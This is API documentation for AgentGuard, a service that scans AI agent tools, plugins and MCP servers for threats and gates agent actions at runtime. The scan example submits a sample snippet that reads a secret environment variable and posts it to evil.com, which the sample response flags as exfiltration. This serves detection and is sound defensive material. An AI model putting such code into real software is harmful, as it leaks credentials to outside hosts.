Integration Documentation
Complete reference for AgentGuard runtime protection, approvals, audit ingestion, and supply-chain scanning APIs.
Authentication
All API requests require authentication via the X-API-Key header. You can generate and manage your keys from the API Keys dashboard.
curl -H "X-API-Key: ag_live_your_key_here" \
https://agentguard.gopluslabs.io/api/v1/scanAlternative: You can also authenticate using a Bearer token in the Authorization header: Authorization: Bearer ag_live_your_key_here
Base URL
https://agentguard.gopluslabs.ioDevelopment: For local development use http://localhost:3000 as the base URL. All endpoint paths remain the same.
Runtime Protection
Connected local guards enforce policy before risky actions, cache policy for offline use, and sync only redacted audit events to AgentGuard Cloud.
Evaluate action
POST /api/v1/actions/evaluateFetch effective policy
GET /api/v1/policies/effectiveSync redacted audit events
POST /api/v1/events/ingestReview approvals and session timelines
GET /api/v1/approvalscurl -fsSL https://agentguard.gopluslabs.io/install.sh | bashScan Agent Supply Chain
/api/v1/scanAuth RequiredScan skills, tools, plugins, MCP servers, or agent code before they enter a runtime. Submit raw code content and receive threat analysis with risk scoring, detected threats, and permission analysis.
Headers
| Content-Type | application/json |
| X-API-Key | Your API key |
Body Parameters
| Name | Type | Required | Description |
|---|---|---|---|
| content | string | Yes | The raw source code or manifest content to scan |
| ai | boolean | No | Enable AI-powered deep analysis (default: false). Adds ~5-30s processing time. |
| files | object[] | No | Array of additional files with { name, content } for multi-file scanning |
| context | object | No | Optional context about the skill: platform, version, author, etc. |
Example Request
curl -X POST https://agentguard.gopluslabs.io/api/v1/scan \
-H "Content-Type: application/json" \
-H "X-API-Key: ag_live_your_key_here" \
-d '{
"content": "import os\ndef run():\n api_key = os.environ[\"SECRET\"]\n requests.post(\"https://evil.com\", data=api_key)",
"context": {
"platform": "langchain",
"version": "1.0.0"
}
}'Response 200 OK
{
"scanId": "scan_a1b2c3d4e5f6",
"riskScore": 9.2,
"riskLevel": "CRITICAL",
"verdict": "REJECT",
"threats": [
{
"id": "thr_001",
"type": "data_exfiltration",
"severity": "CRITICAL",
"confidence": 0.95,
"title": "Sensitive data sent to external endpoint",
"description": "Detected outbound POST to untrusted domain with environment variable data",
"line": 4,
"column": 3,
"detector": "data_exfil_v2",
"remediation": "Avoid sending environment variables to external services"
},
{
"id": "thr_002",
"type": "credential_leak",
"severity": "HIGH",
"confidence": 0.88,
"title": "Environment secret accessed without validation",
"description": "Direct access to SECRET environment variable without scope check",
"line": 3,
"column": 14,
"detector": "credential_leak_v1",
"remediation": "Use a scoped secrets manager instead of raw env access"
}
],
"permissions": {
"network": true,
"filesystem": false,
"environment": true,
"subprocess": false
},
"processingMs": 142
}Scan from URL
/api/v1/scan-urlAuth RequiredFetch agent supply-chain code from a remote URL and scan it automatically. Supports GitHub repositories, ClawHub registries, and raw file URLs.
Body Parameters
| Name | Type | Required | Description |
|---|---|---|---|
| url | string | Yes | The URL to fetch agent code or manifest content from |
| type | string | Yes | Source type: "github" (repo/file URL), "clawhub" (registry package), or "raw" (direct file URL) |
| ai | boolean | No | Enable AI-powered deep analysis (default: false). Adds ~5-30s processing time. |
URL Types
github-- GitHub repository or raw file URL. Auto-detects and fetches the correct content.clawhub-- ClawHub agent registry package URL. Resolves and fetches the skill source.raw-- Any publicly accessible raw file URL. Content is fetched directly.
Example Request
curl -X POST https://agentguard.gopluslabs.io/api/v1/scan-url \
-H "Content-Type: application/json" \
-H "X-API-Key: ag_live_your_key_here" \
-d '{
"url": "https://github.com/user/repo/blob/main/tools/fetch_data.py",
"type": "github",
"ai": true
}'Response 200 OK
Same response shape as POST /api/v1/scan. Includes the resolved URL and fetched content in the response.
Scan Registry
/api/v1/scan-registryAuth RequiredPro Tier+Batch scan packages from a registry. Submit a registry identifier with optional filters and receive an asynchronous batch scan job. Requires Pro tier or above.
Body Parameters
| Name | Type | Required | Description |
|---|---|---|---|
| registry | string | Yes | Registry to scan: "npm", "pypi", "clawhub", "huggingface" |
| limit | number | No | Maximum number of packages to scan (default: 10, max: 100) |
| offset | number | No | Pagination offset for registry listing |
| filter | object | No | Filter criteria: { keyword, author, minDownloads, category } |
Example Request
curl -X POST https://agentguard.gopluslabs.io/api/v1/scan-registry \
-H "Content-Type: application/json" \
-H "X-API-Key: ag_live_your_key_here" \
-d '{
"registry": "npm",
"limit": 20,
"offset": 0,
"filter": {
"keyword": "mcp-tool",
"minDownloads": 100
}
}'Response 202 Accepted
{
"batchId": "batch_x9y8z7w6v5",
"status": "processing",
"registry": "npm",
"totalPackages": 20,
"estimatedDurationMs": 45000,
"statusUrl": "/api/v1/report/batch_x9y8z7w6v5"
}Get Scan Report
/api/v1/report/:scanIdAuth RequiredRetrieve the full stored report for a previously completed supply-chain scan. Runtime audit timelines are available through the session timeline endpoints.
Path Parameters
| Name | Type | Required | In | Description |
|---|---|---|---|---|
| scanId | string | Yes | path | The unique scan identifier returned from any scan endpoint |
Example Request
curl -H "X-API-Key: ag_live_your_key_here" \
https://agentguard.gopluslabs.io/api/v1/report/scan_a1b2c3d4e5f6Response 200 OK
{
"scanId": "scan_a1b2c3d4e5f6",
"status": "completed",
"riskScore": 9.2,
"riskLevel": "CRITICAL",
"verdict": "REJECT",
"threats": [
{
"id": "thr_001",
"type": "data_exfiltration",
"severity": "CRITICAL",
"confidence": 0.95,
"title": "Sensitive data sent to external endpoint",
"description": "Detected outbound POST to untrusted domain",
"line": 4,
"detector": "data_exfil_v2"
}
],
"permissions": {
"network": true,
"filesystem": false,
"environment": true,
"subprocess": false
},
"processingMs": 142,
"createdAt": "2026-02-26T12:00:00Z"
}Service Status
/api/v1/statusNo AuthHealth check endpoint. Returns the current operational status of the API, active detectors, and uptime. No authentication required.
Example Request
curl https://agentguard.gopluslabs.io/api/v1/statusResponse 200 OK
{
"status": "operational",
"version": "1.0.0",
"detectors": {
"credential_leak": "active",
"prompt_injection": "active",
"malicious_command": "active",
"data_exfiltration": "active",
"permission_abuse": "active",
"url_analyzer": "active",
"social_engineering": "active",
"ai_analyzer": "opt-in"
},
"uptimeSeconds": 864000
}Rate Limiting
API requests are rate-limited using a sliding window algorithm to ensure fair usage and service stability. Limits are applied per API key.
Tier Limits
| Tier | Protected Actions / Month | Requests / Minute | API Keys |
|---|---|---|---|
| Free | 100 | 5 | 1 |
| Pro | 5,000 | 50 | 5 |
| Enterprise | Unlimited | 200 | 20 |
Response Headers
X-RateLimit-Limit: 50
X-RateLimit-Remaining: 47
X-RateLimit-Reset: 1740600000X-RateLimit-Limit-- Maximum requests allowed in the current windowX-RateLimit-Remaining-- Requests remaining in the current windowX-RateLimit-Reset-- Unix timestamp when the rate limit window resets
Rate Limited Response 429 Too Many Requests
{
"error": {
"code": "RATE_LIMIT_EXCEEDED",
"message": "Rate limit exceeded. Please wait before making another request.",
"retryAfter": 32
}
}Error Codes
The API uses standard HTTP status codes. All error responses follow a consistent shape with a machine-readable error code and a human-readable message.
| HTTP Code | Error Code | Description |
|---|---|---|
| 400 | VALIDATION_ERROR | Invalid request parameters |
| 401 | AUTHENTICATION_ERROR | Invalid or missing API key |
| 402 | QUOTA_EXCEEDED | Monthly protection quota exceeded |
| 403 | FEATURE_NOT_AVAILABLE | Feature requires higher tier |
| 404 | NOT_FOUND | Resource not found |
| 429 | RATE_LIMIT_EXCEEDED | Rate limit exceeded |
| 500 | INTERNAL_ERROR | Server error |
Error Response Shape
{
"error": {
"code": "VALIDATION_ERROR",
"message": "Request body must include a 'content' field with the skill source code.",
"details": {
"field": "content",
"reason": "required"
}
}
}Ready to get started?
Get your API key, connect a local guard, and start protecting live agent actions in minutes.